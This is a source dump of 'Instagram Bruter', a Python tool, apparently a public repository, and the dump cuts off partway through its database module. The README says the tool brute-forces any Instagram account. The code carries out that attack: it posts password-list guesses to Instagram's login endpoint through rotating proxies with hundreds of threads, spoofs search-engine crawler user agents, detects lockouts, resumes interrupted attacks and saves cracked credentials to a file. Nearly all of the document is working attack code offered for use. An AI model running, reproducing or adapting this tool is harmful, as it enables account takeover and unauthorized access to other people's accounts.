"sha256:be456b4313a86be41706319c397c09d9fdd2e5cdfde208292a277b867e99e3d1", 423 | "sha256:be57f9c7b0b423c66c266a26ad143b2c5514997c05dd32ce7ca95c8b209c2288", 424 | "sha256:c1ea28f0ee6cbe4c0367c939b015d915aa9875f6e061ba1cf0796ca9a3010570", 425 | "sha256:c3db393b21b53d7e1d3f881b64c29d886cbfdd3df007e31de68b329edbab7d02", 426 | "sha256:c400dfed4137f32127ea4063447006d7153c974c680bf0fb1b724cce9f8567fc", 427 | "sha256:c5429202bef174a3760690d912e3a80060b323199a61cef6c6c29b30ce09fd17", 428 | "sha256:c5eac5d8a8ac9ccf00805d02a968a36f5c967db6c7d2b747ab9ed782b3b3a28b", 429 | "sha256:c757f3a27b6345de13ef3ca956aa805d7734ce68023e84d0fc74e1f09ce66f7a", 430 | "sha256:ceff75127f828dfe7ceb17b94113ec2df4df274c4cd5533bb299cb099a18a8ca", 431 | "sha256:cff5c87e941292c97d11dc81bd20679f56a2830f0f0e32f75b8ed6e0eb40f704", 432 | "sha256:d70596f20a03cb5f935d6e4aad9170a490d88fc4633679bf00c652e9def4619e", 433 | "sha256:e7b2ff451f6c305b516281ec45425dd423223c8063218c5310d6f72a0a7a517c", 434 | "sha256:e85b10280cf1e334a7c95629f6cbbfe30b815a4ea5f1e28d31f79eb92c2c3d93", 435 | "sha256:ecd2b5d983eb0adf2049d41f95205bdc3de4e6cc2350e9c80d4409d3a75229de", 436 | "sha256:ed657a07d8a47ef447224ea00478f1c7095065dfe70a89e7280e5f50a5725131", 437 | "sha256:f43522fb5d676c99282ca4e2d41e8e2388427c0cf703db6b4a66e49b10b699a8", 438 | "sha256:f57823f35b18d82b201c1b27ce4e55f88e79e81d9ca07b50ce625d33823e1439", 439 | "sha256:f7b43acb2c46fb2cd506965b2d9cf4c5e64c9c612bac26c1187933c7296bf08c", 440 | "sha256:fa7c7044aabdad2329974be2246babcc21d3ede852b3971a90fd8c2056c20360", 441 | "sha256:fcd7c432202bcb8b642c3f43d5bcafc5930d82fe5b2bf2c008162df258445c1d", 442 | "sha256:fdecb225d0f1d50d4b26ac423e0032e76d46a788b83b4e299a520717a47d968c", 443 | "sha256:ffef4b30785dc2d1604dfb7cf9fca5dc27cd86d65f7c2a9ec34d6d3ae4565ec2" 444 | ], 445 | "markers": "python_version >= '3.6'", 446 | "version": "==2022.6.2" 447 | }, 448 | "tomli": { 449 | "hashes": [ 450 | "sha256:05b6166bff487dc068d322585c7ea4ef78deed501cc124060e0f238e89a9231f", 451 | "sha256:e3069e4be3ead9668e21cb9b074cd948f7b3113fd9c8bba083f48247aab8b11c" 452 | ], 453 | "markers": "python_version >= '3.6'", 454 | "version": "==1.2.3" 455 | }, 456 | "typing-extensions": { 457 | "hashes": [ 458 | "sha256:25642c956049920a5aa49edcdd6ab1e06d7e5d467fc00e0506c44ac86fbfca02", 459 | "sha256:e6d2677a32f47fc7eb2795db1dd15c1f34eff616bcaf2cfb5e997f854fa1c4a6" 460 | ], 461 | "markers": "python_version >= '3.7'", 462 | "version": "==4.3.0" 463 | } 464 | } 465 | } 466 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Instagram Bruter 2 | 3 | [![Version](https://img.shields.io/badge/Version-3.1.0-green)]() 4 | [![Python](https://img.shields.io/badge/Python-v3.9-yellow)]() 5 | [![Discord](https://img.shields.io/badge/Discord-server-blue)](https://discord.gg/VYRAZg5) 6 | [![Donate](https://img.shields.io/badge/PayPal-donate-orange)](https://www.paypal.me/Msheikh03) 7 | 8 | This program will brute force any Instagram account you send it its way given a list of proxies. 9 | 10 | ### NOTICE 11 | 12 | ~~I'm no longer maintaining this project.~~ 13 | 14 | ### Support 15 | 16 | It motivates me to keep updating this program. 17 | 18 | > **Bitcoin Wallet:** 3Kr5C9t9HWwPfqzSNXeBNyRvJWw9sSLeKy
19 | > **PayPal:** https://www.paypal.me/Msheikh03 20 | 21 | ## Requirements 22 | 23 | - Python _v3.9_ 24 | - proxy list 25 | 26 | ## Install Dependencies 27 | 28 | ### Install Pipenv 29 | 30 | ``` 31 | pip install pipenv 32 | ``` 33 | 34 | ### Create environment 35 | 36 | Make sure you have Python 3.9 installed 37 | 38 | ``` 39 | pipenv --python 3.9 40 | ``` 41 | 42 | ### Install Requirements 43 | 44 | ``` 45 | pipenv install 46 | ``` 47 | 48 | ## Help 49 | 50 | ``` 51 | usage: instagram.py [-h] [-u USERNAME] [-p PASSLIST] [-px PROXYLIST] [--prune PRUNE] [--stats] [-nc] [-m MODE] 52 | 53 | optional arguments: 54 | -h, --help show this help message and exit 55 | -u USERNAME, --username USERNAME 56 | email or username 57 | -p PASSLIST, --passlist PASSLIST 58 | password list 59 | -px PROXYLIST, --proxylist PROXYLIST 60 | proxy list 61 | --prune PRUNE prune the database 62 | --stats get statistics of the proxies 63 | -nc, --no-color disable colors 64 | -m MODE, --mode MODE modes: 0 => 32 bots; 1 => 16 bots; 2 => 8 bots; 3 => 4 bots 65 | ``` 66 | 67 | ## Proxies 68 | 69 | The system needs a list of proxies to work. Once uploaded, proxies are saved into a database.
70 | 71 | ### Upload 72 | 73 | Upload a list of proxies into the program. The proxy file must have a format of `ip:port`
74 | 75 | `proxies_list.txt` 76 | 77 | ``` 78 | 3.238.111.248:80 79 | 206.189.59.192:8118 80 | 165.22.81.30:34100 81 | 176.248.120.70:3128 82 | 191.242.178.209:3128 83 | 180.92.194.235:80 84 | ``` 85 | 86 | To upload a list of proxies a similar syntax must be followed. 87 | 88 | ``` 89 | python instagram.py -px 90 | ``` 91 | 92 | ### Stats 93 | 94 | This gives an insight into the health of the proxies in the database. 95 | 96 | ``` 97 | python instagram.py --stats 98 | ``` 99 | 100 | ### Prune 101 | 102 | This allows the able to get rid of proxies with a score below a given score.
103 | It is recommended that you run the `--stats` and prune the database of proxies
104 | who have a proxy score below `Q1`. 105 | 106 | ``` 107 | python instagram.py --prune 0.05 108 | ``` 109 | 110 | Pruning is not a requirement because the
111 | the system will automatically learn which proxies perform poorly and stop using them. 112 | 113 | ### Usage 114 | 115 | ``` 116 | python instagram.py -u -p 117 | ``` 118 | 119 | ### Run 120 | 121 | ``` 122 | [-] Wordlist: passlist.txt 123 | [-] Username: Sami09.1 124 | [-] Password: 272 125 | [-] Complete: 45.51% 126 | [-] Attempts: 228 127 | [-] Browsers: 273 128 | [-] Exists: True 129 | ``` 130 | 131 | ### Stop 132 | 133 | ``` 134 | [-] Wordlist: passlist.txt 135 | [-] Username: Sami09.1 136 | [-] Password: Sami123 137 | [-] Complete: 62.67% 138 | [-] Attempts: 314 139 | [-] Browsers: 185 140 | [-] Exists: True 141 | 142 | [!] Password Found 143 | [+] Username: Sami09.1 144 | [+] Password: Sami123 145 | ``` 146 | -------------------------------------------------------------------------------- /instagram.py: -------------------------------------------------------------------------------- 1 | # Date: 12/29/2018 2 | # Author: Mohamed 3 | # Description: Instagram bruter 4 | 5 | # from lib.proxy import Proxy 6 | import os 7 | import time 8 | from sys import exit 9 | from lib import database 10 | from lib.proxy_manager import ProxyManager 11 | 12 | # from os.path import exists 13 | from lib.bruter import Bruter 14 | from lib.display import Display 15 | from platform import python_version 16 | 17 | from lib.const import credentials, modes 18 | from argparse import ArgumentParser, ArgumentTypeError 19 | 20 | 21 | class Engine(object): 22 | def __init__(self, username, threads, passlist_path, is_color): 23 | self.resume = False 24 | self.is_alive = True 25 | self.threads = threads 26 | self.username = username 27 | self.passlist_path = passlist_path 28 | self.display = Display(is_color=is_color) 29 | self.bruter = Bruter(username, threads, passlist_path) 30 | 31 | def get_user_resp(self): 32 | return self.display.prompt( 33 | "Would you like to resume the attack? [y/N]: " 34 | ) 35 | 36 | def write_to_file(self, password): 37 | with open(credentials, "at") as f: 38 | data = "Username: {}\nPassword: {}\n\n".format( 39 | self.username.title(), password 40 | ) 41 | f.write(data) 42 | 43 | def start(self): 44 | 45 | while self.is_alive and not self.bruter.password_manager.session: 46 | pass 47 | 48 | if not self.is_alive: 49 | return 50 | 51 | if self.bruter.password_manager.session.exists: 52 | try: 53 | resp = self.get_user_resp() 54 | except: 55 | self.is_alive = False 56 | 57 | if resp and self.is_alive: 58 | if resp.strip().lower() == "y": 59 | self.bruter.password_manager.resume = True 60 | 61 | try: 62 | self.bruter.start() 63 | except KeyboardInterrupt: 64 | self.bruter.stop() 65 | self.bruter.display.shutdown( 66 | self.bruter.last_password, 67 | self.bruter.password_manager.attempts, 68 | len(self.bruter.browsers), 69 | ) 70 | finally: 71 | self.stop() 72 | 73 | def stop(self): 74 | if self.is_alive: 75 | 76 | self.bruter.stop() 77 | self.is_alive = False 78 | 79 | if ( 80 | self.bruter.password_manager.is_read 81 | and not self.bruter.is_found 82 | and not self.bruter.password_manager.list_size 83 | ): 84 | self.bruter.display.stats_not_found( 85 | self.bruter.last_password, 86 | self.bruter.password_manager.attempts, 87 | len(self.bruter.browsers), 88 | ) 89 | 90 | if self.bruter.is_found: 91 | self.write_to_file(self.bruter.password) 92 | self.bruter.display.stats_found( 93 | self.bruter.password, 94 | self.bruter.password_manager.attempts, 95 | len(self.bruter.browsers), 96 | ) 97 | 98 | 99 | def valid_int(n): 100 | if not n.isdigit(): 101 | raise ArgumentTypeError("mode must be a number") 102 | 103 | n = int(n) 104 | 105 | if n > 3: 106 | raise ArgumentTypeError("maximum for a mode is 3") 107 | 108 | if n < 0: 109 | raise ArgumentTypeError("minimum for a mode is 0") 110 | 111 | return n 112 | 113 | 114 | def valid_float(n): 115 | 116 | err_msg = "prune must be a value between 0 and 1" 117 | 118 | try: 119 | n = float(n) 120 | except ValueError: 121 | raise ArgumentTypeError(err_msg) 122 | 123 | if n < 0 or n > 1: 124 | raise ArgumentTypeError(err_msg) 125 | 126 | return n 127 | 128 | 129 | def args(): 130 | args = ArgumentParser() 131 | args.add_argument("-u", "--username", help="email or username") 132 | args.add_argument("-p", "--passlist", help="password list") 133 | args.add_argument("-px", "--proxylist", help="proxy list") 134 | args.add_argument( 135 | "--prune", 136 | default=-1, 137 | type=valid_float, 138 | help="prune the database", 139 | ) 140 | args.add_argument( 141 | "--stats", action="store_true", help="get statistics of the proxies" 142 | ) 143 | 144 | args.add_argument( 145 | "-nc", 146 | "--no-color", 147 | dest="color", 148 | action="store_true", 149 | help="disable colors", 150 | ) 151 | args.add_argument( 152 | "-m", 153 | "--mode", 154 | default=2, 155 | type=valid_int, 156 | help="modes: 0 => 32 bots; 1 => 16 bots; 2 => 8 bots; 3 => 4 bots", 157 | ) 158 | 159 | # ----------- # 160 | 161 | arguments = args.parse_args() 162 | username = arguments.username 163 | passlist = arguments.passlist 164 | proxylist = arguments.proxylist 165 | prune = arguments.prune 166 | stats = arguments.stats 167 | prune_db = prune > 0 168 | 169 | if not (prune_db or stats or proxylist) and not (username and passlist): 170 | args.print_help() 171 | exit() 172 | 173 | return args.parse_args() 174 | 175 | 176 | def prune_database(prune: float) -> None: 177 | score = prune * 100 178 | 179 | if ( 180 | input( 181 | "Are you sure you want to prune the database of proxies? [y/N]: " 182 | ) 183 | == "y" 184 | ): 185 | 186 | print( 187 | f"\n<<< Pruning the database of all proxies with a score of {score}% or less >>>" 188 | ) 189 | time.sleep(0.65) 190 | 191 | print( 192 | f"Pruned the database of {database.Proxy().prune(prune)} proxies" 193 | ) 194 | time.sleep(0.65) 195 | else: 196 | print("Pruning cancelled") 197 | 198 | 199 | def display_database_stats(): 200 | data = database.Proxy().stats() 201 | 202 | place = 5 203 | 204 | q1 = round(data["q1"], place) 205 | avg = round(data["avg"], place) 206 | min = round(data["min"], place) 207 | max = round(data["max"], place) 208 | total = data["total"] 209 | health = ( 210 | "Dead" 211 | if avg == 0 212 | else "Very-ill" 213 | if avg <= 0.10 214 | else "Ill" 215 | if avg <= 0.30 216 | else "Somewhat-ill" 217 | if avg <= 0.50 218 | else "Normal" 219 | if avg <= 0.70 220 | else "Healthy" 221 | if avg <= 0.9 222 | else "Very-healthy" 223 | ) 224 | print(f"\nTotal Proxies: {total}\nDatabase's Health: {health}") 225 | print( 226 | f"Q1: {q1} :: Avg Score: {avg} :: Min Score: {min} :: Max Score: {max}" 227 | ) 228 | time.sleep(0.65) 229 | 230 | 231 | def main(): 232 | arguments = args() 233 | mode = arguments.mode 234 | username = arguments.username 235 | passlist = arguments.passlist 236 | proxylist = arguments.proxylist 237 | prune = arguments.prune 238 | stats = arguments.stats 239 | prune_db = prune > 0 240 | 241 | if prune_db > 0 or stats: 242 | if prune_db > 0: 243 | prune_database(prune) 244 | if stats: 245 | display_database_stats() 246 | else: 247 | if proxylist: 248 | if not os.path.exists(proxylist): 249 | print("Invalid path to proxy list") 250 | exit() 251 | 252 | print(f"<<< Writing proxies to the database >>>") 253 | time.sleep(0.65) 254 | 255 | total_written = ProxyManager().write2db(proxylist) 256 | 257 | print(f"Proxies written to the database: {total_written}") 258 | time.sleep(0.65) 259 | 260 | total_proxies = len(database.Proxy().get_proxies()) 261 | 262 | if username and passlist and total_proxies: 263 | 264 | if not os.path.exists(passlist): 265 | print("Invalid path to password list") 266 | exit() 267 | 268 | Engine( 269 | username, modes[mode], passlist, not arguments.color 270 | ).start() 271 | 272 | else: 273 | if not proxylist or total_proxies == 0: 274 | print("No proxies in the database and no proxy list provided") 275 | 276 | 277 | if __name__ == "__main__": 278 | 279 | if int(python_version()[0]) < 3: 280 | print("[!] Please use Python 3") 281 | exit() 282 | 283 | main() 284 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- 1 | # Date: 12/30/2018 2 | # Author: Mohamed 3 | -------------------------------------------------------------------------------- /lib/browser.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Browser 4 | 5 | import typing 6 | from time import time 7 | from random import choice 8 | 9 | import requests 10 | from datetime import datetime 11 | from requests_html import HTMLSession 12 | from .const import browser_data, response_codes, fetch_time, user_agents, debug 13 | 14 | 15 | from lib import proxy 16 | 17 | 18 | class Browser(object): 19 | 20 | account_exists = None 21 | 22 | def __init__(self, username, password, proxy: proxy.Proxy): 23 | self.proxy = proxy 24 | self.is_found = False 25 | self.is_active = True 26 | self.is_locked = False 27 | self.start_time = None 28 | self.username = username 29 | self.password = password 30 | self.is_attempted = False 31 | self.__browser = None 32 | 33 | @property 34 | def browser(self): 35 | if self.__browser is None: 36 | header = browser_data["header"] 37 | header["user-agent"] = choice(user_agents) 38 | 39 | session = HTMLSession() 40 | session.headers.update(header) 41 | 42 | session.proxies.update(self.proxy.addr) 43 | session.trust_env = False 44 | 45 | self.__browser = session 46 | return self.__browser 47 | 48 | def get_token(self): 49 | 50 | try: 51 | return self.browser.get( 52 | browser_data["home_url"], 53 | timeout=fetch_time, 54 | ).cookies.get_dict()["csrftoken"] 55 | except Exception as e: 56 | pass 57 | 58 | def post_data(self): 59 | enc_password = "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format( 60 | int(datetime.now().timestamp()), self.password 61 | ) 62 | 63 | data = { 64 | browser_data["username_field"]: self.username, 65 | browser_data["password_field"]: enc_password, 66 | } 67 | 68 | try: 69 | resp = self.browser.post( 70 | browser_data["login_url"], 71 | data=data, 72 | timeout=fetch_time, 73 | ).json() 74 | 75 | self.proxy.incr_success() 76 | return resp 77 | except: 78 | pass 79 | 80 | def check_exists(self, response): 81 | if "user" in response: 82 | Browser.account_exists = response["user"] 83 | 84 | def check_response(self, response): 85 | if "authenticated" in response: 86 | if response["authenticated"]: 87 | return response_codes["succeed"] 88 | 89 | if "message" in response: 90 | if response.get("checkpoint_url", None): 91 | return response_codes["succeed"] 92 | 93 | if response["status"] == "fail": 94 | return response_codes["locked"] 95 | 96 | if "errors" in response: 97 | return response_codes["locked"] 98 | 99 | return response_codes["failed"] 100 | 101 | def get_ip(self) -> typing.Optional[str]: 102 | url = "https://api.ipify.org/" 103 | 104 | try: 105 | r = self.browser.get(url, timeout=fetch_time) 106 | return r.text 107 | except Exception as e: 108 | pass 109 | 110 | def authenicate(self): 111 | response = self.post_data() 112 | resp = {"attempted": False, "accessed": False, "locked": False} 113 | 114 | if debug: 115 | ip = self.get_ip() 116 | print(f"pass: {self.password}[{ip}] => {response}") 117 | 118 | if response != None: 119 | resp["attempted"] = True 120 | resp_code = self.check_response(response) 121 | 122 | if resp_code == response_codes["locked"]: 123 | resp["locked"] = True 124 | 125 | if resp_code == response_codes["succeed"]: 126 | resp["accessed"] = True 127 | 128 | if Browser.account_exists == None: 129 | self.check_exists(response) 130 | 131 | return resp 132 | 133 | def attempt(self): 134 | self.start_time = time() 135 | token = self.get_token() 136 | 137 | if token: 138 | self.browser.headers.update({"x-csrftoken": token}) 139 | resp = self.authenicate() 140 | 141 | if resp["attempted"]: 142 | self.is_attempted = True 143 | 144 | if not resp["locked"]: 145 | if resp["accessed"]: 146 | self.is_found = True 147 | else: 148 | self.is_locked = True 149 | self.close() 150 | 151 | def close(self): 152 | self.browser.close() 153 | self.is_active = False 154 | -------------------------------------------------------------------------------- /lib/bruter.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Bruter 4 | 5 | import queue 6 | import time 7 | import threading 8 | import typing 9 | from lib.browser import Browser 10 | from lib.display import Display 11 | from lib.proxy_manager import ProxyManager 12 | from lib.password_manager import PasswordManager 13 | from lib.const import max_time_to_wait, max_bots_per_proxy 14 | 15 | 16 | class Bruter(object): 17 | def __init__(self, username: str, threads: int, passlist_path: str): 18 | 19 | self.is_alive = True 20 | self.is_found = False 21 | 22 | self.password: str = None 23 | self.username: str = username 24 | self.last_password: str = None 25 | 26 | self.bots_per_proxy = 0 27 | self.total_threads: int = threads 28 | 29 | self.proxy_manager = ProxyManager() 30 | self.display = Display(username, passlist_path) 31 | self.password_manager = PasswordManager( 32 | username, passlist_path, threads, self.display 33 | ) 34 | 35 | self.browsers: typing.List[Browser] = [] 36 | self.active_passwords: typing.List[str] = [] 37 | self.unstarted_browsers: typing.List[Browser] = [] 38 | 39 | # Locks 40 | self.lock_browsers = threading.RLock() 41 | self.lock_unstarted_browsers = threading.RLock() 42 | 43 | self.lock_active_passwords = threading.RLock() 44 | self.lock_password_manager = threading.RLock() 45 | 46 | def manage_session(self): 47 | if self.password_manager.is_read: 48 | if not self.password_manager.list_size or self.is_found: 49 | self.password_manager.session.delete() 50 | else: 51 | if self.is_found: 52 | self.password_manager.session.delete() 53 | else: 54 | self.password_manager.session.write( 55 | self.password_manager.attempts, 56 | self.password_manager.passlist, 57 | ) 58 | 59 | def browser_manager(self): 60 | while self.is_alive: 61 | 62 | browsers: typing.List[Browser] = [] 63 | 64 | with self.lock_browsers: 65 | browsers = [br for br in self.browsers] 66 | 67 | for browser in browsers: 68 | 69 | if not self.is_alive: 70 | break 71 | 72 | if ( 73 | Display.account_exists == None 74 | and Browser.account_exists != None 75 | ): 76 | Display.account_exists = Browser.account_exists 77 | 78 | if not browser.is_active: 79 | if browser.is_attempted and not browser.is_locked: 80 | if browser.is_found and not self.is_found: 81 | self.password = browser.password 82 | self.is_found = True 83 | 84 | with self.lock_password_manager: 85 | self.password_manager.list_remove(browser.password) 86 | 87 | self.remove_browser(browser) 88 | 89 | else: 90 | if browser.start_time: 91 | if ( 92 | time.time() - browser.start_time 93 | >= max_time_to_wait 94 | ): 95 | browser.close() 96 | with self.lock_active_passwords: 97 | try: 98 | self.active_passwords.remove( 99 | browser.password 100 | ) 101 | except ValueError: 102 | pass 103 | 104 | def prune_browsers(self, browser) -> None: 105 | """Remove all the browsers with the same password as the given browser""" 106 | 107 | with self.lock_browsers: 108 | for br in list(self.browsers): 109 | if br == browser: 110 | continue 111 | 112 | if br.password != browser.password: 113 | continue 114 | 115 | try: 116 | self.browsers.remove(br) 117 | except ValueError: 118 | pass 119 | 120 | br.close() 121 | br.proxy.decr_usage() 122 | self.proxy_manager.dispose(br.proxy) 123 | 124 | with self.lock_unstarted_browsers: 125 | for br in list(self.unstarted_browsers): 126 | 127 | if br.password == browser.password: 128 | try: 129 | self.unstarted_browsers.remove(br) 130 | except ValueError: 131 | pass 132 | 133 | def remove_browser(self, browser: Browser) -> None: 134 | self.proxy_manager.dispose(browser.proxy) 135 | 136 | with self.lock_browsers: 137 | try: 138 | self.browsers.remove(browser) 139 | except ValueError: 140 | pass 141 | 142 | with self.lock_active_passwords: 143 | try: 144 | self.active_passwords.remove(browser.password) 145 | except ValueError: 146 | pass 147 | 148 | if browser.is_attempted: 149 | self.prune_browsers(browser) 150 | 151 | def attack(self): 152 | attack_started = False 153 | proxy_per_pwd = 3 154 | 155 | while self.is_alive: 156 | for pwd in self.password_manager.passlist: 157 | if not self.is_alive: 158 | break 159 | 160 | with self.lock_unstarted_browsers: 161 | if len(self.unstarted_browsers) >= self.total_threads: 162 | break 163 | 164 | with self.lock_active_passwords: 165 | if pwd in self.active_passwords: 166 | continue 167 | 168 | is_added = False 169 | 170 | for _ in range(proxy_per_pwd): 171 | 172 | with self.lock_unstarted_browsers: 173 | if len(self.unstarted_browsers) >= self.total_threads: 174 | break 175 | 176 | proxy = self.proxy_manager.get_proxy() 177 | 178 | if not proxy: 179 | continue 180 | 181 | with self.lock_unstarted_browsers: 182 | self.unstarted_browsers.append( 183 | Browser(self.username, pwd, proxy) 184 | ) 185 | 186 | is_added = True 187 | 188 | if not is_added: 189 | break 190 | 191 | with self.lock_active_passwords: 192 | self.active_passwords.append(pwd) 193 | 194 | if not attack_started: 195 | self.display.info("Starting attack...") 196 | attack_started = True 197 | 198 | with self.lock_unstarted_browsers: 199 | for br in list(self.unstarted_browsers): 200 | with self.lock_browsers: 201 | if len(self.browsers) >= self.total_threads: 202 | break 203 | else: 204 | self.browsers.append(br) 205 | 206 | self.unstarted_browsers.remove(br) 207 | threading.Thread(target=br.attempt, daemon=True).start() 208 | 209 | def start_daemon_threads(self): 210 | attack = threading.Thread(target=self.attack) 211 | browser_manager = threading.Thread(target=self.browser_manager) 212 | password_manager = threading.Thread(target=self.password_manager.start) 213 | 214 | attack.daemon = True 215 | browser_manager.daemon = True 216 | password_manager.daemon = True 217 | 218 | attack.start() 219 | browser_manager.start() 220 | password_manager.start() 221 | 222 | def stop_daemon_threads(self): 223 | self.password_manager.stop() 224 | 225 | def start(self): 226 | self.display.info("Initiating daemon threads...") 227 | self.start_daemon_threads() 228 | 229 | last_attempt = 0 230 | while self.is_alive and not self.is_found: 231 | 232 | if ( 233 | last_attempt == self.password_manager.attempts 234 | and self.password_manager.attempts 235 | ): 236 | time.sleep(0.65) 237 | continue 238 | 239 | browsers = [] 240 | 241 | with self.lock_browsers: 242 | browsers = [br for br in self.browsers] 243 | 244 | for browser in browsers: 245 | 246 | self.display.stats( 247 | browser.password, 248 | self.password_manager.attempts, 249 | len(self.browsers), 250 | ) 251 | last_attempt = self.password_manager.attempts 252 | self.last_password = browser.password 253 | 254 | if not self.is_alive or self.is_found: 255 | break 256 | 257 | if ( 258 | self.password_manager.is_read 259 | and not self.password_manager.list_size 260 | and not len(self.browsers) 261 | ): 262 | self.is_alive = False 263 | 264 | def stop(self): 265 | self.is_alive = False 266 | self.manage_session() 267 | self.stop_daemon_threads() 268 | self.password_manager.session.is_busy = False 269 | -------------------------------------------------------------------------------- /lib/const.py: -------------------------------------------------------------------------------- 1 | # Date: 12/28/2018 2 | # Author: Mohamed 3 | # Description: Constants 4 | 5 | import os 6 | 7 | # User agents 8 | user_agents = [ 9 | "Googlebot/2.1 (+http://www.google.com/bot.html)", 10 | "Mozilla/5.0 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)", 11 | "Mozilla/5.0 (compatible; adidxbot/2.0; http://www.bing.com/bingbot.htm)", 12 | "Mozilla/5.0 (seoanalyzer; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", 13 | "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) SitemapProbe", 14 | "Mozilla/5.0 (Windows Phone 8.1; ARM; Trident/7.0; Touch; rv:11.0; IEMobile/11.0; NOKIA; Lumia 530) like Gecko (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)", 15 | "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", 16 | "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; adidxbot/2.0; http://www.bing.com/bingbot.htm)", 17 | "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; adidxbot/2.0; +http://www.bing.com/bingbot.htm)", 18 | ] 19 | 20 | # Browser 21 | header = { 22 | "x-ig-app-id": "936619743392459", 23 | "x-instagram-ajax": "2f6bf8b37c04", 24 | "x-requested-with": "XMLHttpRequest", 25 | "referer": "https://www.instagram.com/", 26 | "content-type": "application/x-www-form-urlencoded", 27 | } 28 | 29 | username_field = "username" 30 | password_field = "enc_password" 31 | home_url = "https://www.instagram.com/" 32 | login_url = "https://www.instagram.com/accounts/login/ajax/" 33 | 34 | browser_data = { 35 | "header": header, 36 | "home_url": home_url, 37 | "login_url": login_url, 38 | "username_field": username_field, 39 | "password_field": password_field, 40 | } 41 | 42 | # Login 43 | fetch_time = (10, 15) 44 | response_codes = {"succeed": 0, "failed": 1, "locked": -1} 45 | 46 | # Limits 47 | max_bad_proxies = 256 48 | max_time_to_wait = 18 49 | max_bots_per_proxy = 16 50 | 51 | # Misc 52 | debug = False 53 | credentials = "accounts.txt" 54 | modes = {0: 512, 1: 256, 2: 128, 3: 64} 55 | 56 | # Database 57 | db_dir = "database" 58 | db_database = "database.db" 59 | db_path = os.path.join(db_dir, db_database) 60 | 61 | if not os.path.exists(db_dir): 62 | os.mkdir(db_dir) 63 | -------------------------------------------------------------------------------- /lib/database.py: -------------------------------------------------------------------------------- 1 | # Date: 05/05/2018 2 | # Author: Mohamed 3 | # Description: Session Handler 4 | 5 | import json 6 | import sqlite3 7 | 8 | # from os import remove 9 | # from sys import version_info 10 | from lib.const import db_path 11 | from os.path import exists as path 12 | 13 | # from csv import DictWriter, DictReader 14 | import hashlib 15 | import time 16 | import typing 17 | 18 | 19 | class DatabaseWrapper: 20 | def __init__(self, db_name): 21 | self.db_name = db_path 22 | 23 | def db_query(self, cmd, args=[], fetchone=True): 24 | database = sqlite3.connect(self.db_name, timeout=30) 25 | database.cursor().execute("PRAGMA FOREIGN_KEYS = ON;") 26 | sql = database.cursor().execute(cmd, args) 27 | data = sql.fetchone()[0] if fetchone else sql.fetchall() 28 | database.close() 29 | return data 30 | 31 | def db_execute(self, cmd, args=[]): 32 | database = sqlite3.connect(self.db_name, timeout=30) 33 | database.cursor().execute("PRAGMA FOREIGN_KEYS = ON;") 34 | database.cursor().execute(cmd, args) 35 | database.commit() 36 | database.close() 37 | 38 | 39 | class Session(DatabaseWrapper): 40 | 41 | is_busy = False 42 | 43 | def __init__(self, fingerprint): 44 | super().__init__(db_path) 45 | self.fingerprint = fingerprint 46 | self.create_tables() 47 | 48 | def create_tables(self): 49 | self.db_execute( 50 | """ 51 | CREATE TABLE IF NOT EXISTS 52 | Session( 53 | session_id TEXT, 54 | attempts INTEGER, 55 | list TEXT, 56 | 57 | PRIMARY KEY(session_id) 58 | ); 59 | """ 60 | ) 61 | 62 | @property 63 | def exists(self): 64 | return self.db_query( 65 | "SELECT COUNT(*) FROM Session WHERE session_id=?;", 66 | [self.fingerprint], 67 | ) 68 | 69 | def read(self): 70 | 71 | if not self.exists: 72 | return 0, [] 73 | 74 | attempts, list = self.db_query( 75 | """ 76 | SELECT attempts, list 77 | FROM Session 78 | WHERE session_id=? 79 | """, 80 | args=[self.fingerprint], 81 | fetchone=False, 82 | )[0] 83 | 84 | return attempts, json.loads(list) 85 | 86 | def _write(self, attempts, _list): 87 | 88 | if not self.exists: 89 | self.db_execute( 90 | """ 91 | INSERT INTO Session(session_id, attempts, list) 92 | VALUES(?, ?, ?); 93 | """, 94 | args=[self.fingerprint, attempts, json.dumps(_list)], 95 | ) 96 | return 97 | 98 | self.db_execute( 99 | """ 100 | UPDATE Session 101 | SET attempts=?, list=? 102 | WHERE session_id=?; 103 | """, 104 | args=[attempts, json.dumps(_list), self.fingerprint], 105 | ) 106 | 107 | def write(self, attempts, _list): 108 | if not attempts: 109 | return 110 | 111 | while Session.is_busy: 112 | pass 113 | 114 | try: 115 | Session.is_busy = True 116 | self._write(attempts, _list) 117 | except: 118 | pass 119 | finally: 120 | Session.is_busy = False 121 | 122 | def delete(self): 123 | if self.exists: 124 | self.db_execute( 125 | """ 126 | DELETE FROM Session 127 | WHERE session_id=?; 128 | """, 129 | args=[self.fingerprint], 130 | ) 131 | 132 | 133 | class Proxy(DatabaseWrapper): 134 | def __init__(self): 135 | super().__init__(db_path) 136 | self.create_tables() 137 | 138 | def create_tables(self) -> None: 139 | self.db_execute( 140 | """ 141 | CREATE TABLE IF NOT EXISTS 142 | Proxy( 143 | proxy_id TEXT, 144 | ip TEXT, 145 | port INTEGER, 146 | proxy_type TEXT, 147 | PRIMARY KEY(proxy_id) 148 | ); 149 | """ 150 | ) 151 | 152 | self.db_execute( 153 | """ 154 | CREATE TABLE IF NOT EXISTS 155 | ProxyStatus( 156 | proxy_status_id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, 157 | time_added FLOAT, 158 | last_used FLOAT, 159 | last_updated FLOAT, 160 | total_used INTEGER DEFAULT 1, 161 | total_passed INTEGER DEFAULT 0, 162 